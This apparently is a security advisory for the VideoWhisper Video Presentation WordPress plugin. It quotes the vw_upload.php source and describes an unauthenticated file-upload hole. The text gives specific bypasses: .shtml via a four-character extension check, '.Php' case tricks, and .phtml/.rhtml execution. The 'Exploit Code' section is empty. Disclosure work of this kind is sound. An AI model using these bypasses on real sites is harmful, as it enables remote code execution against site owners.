Vulnerability:
From wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php 

*Update*  You can directly execute php by uploading file extension ending in .phtml or .rhtml as long as the extension 
isn't defined in the 
apache mime.types.

Allows various remote unauthenticated file uploads,  among the file types is html where the last 4 characters are only 
being checked 
in a file name to match which types are allowed.  Because of this .shtml can be passed through and remote code 
execution is SSI is 
allowed.  The code does not do any user access validation and therefore anyone can upload the following files to an 
unsuspecting 
wordpress site:

.shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps

The if (strstr($filename,'.php')) exit; can be by passed by using the extension .Php but the file extension check would 
allow 
files like test.Php.shtml

<?php

if ($_GET["room"]) $room=$_GET["room"];
if ($_POST["room"]) $room=$_POST["room"];
$filename=$_FILES['vw_file']['name'];

include_once("incsan.php");
sanV($room);
if (!$room) exit;
sanV($filename);
if (!$filename) exit;

if (strstr($filename,'.php')) exit;

//do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;
if ( strstr($filename,"/") || strstr($filename,"..") ) exit;

$destination="uploads/".$room."/";
if ($_GET["slides"]) $destination .= "slides/";

$ext=strtolower(substr($filename,-4));
$allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps");

if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename);
?>loadstatus=1

Exploit Code:
         <?php
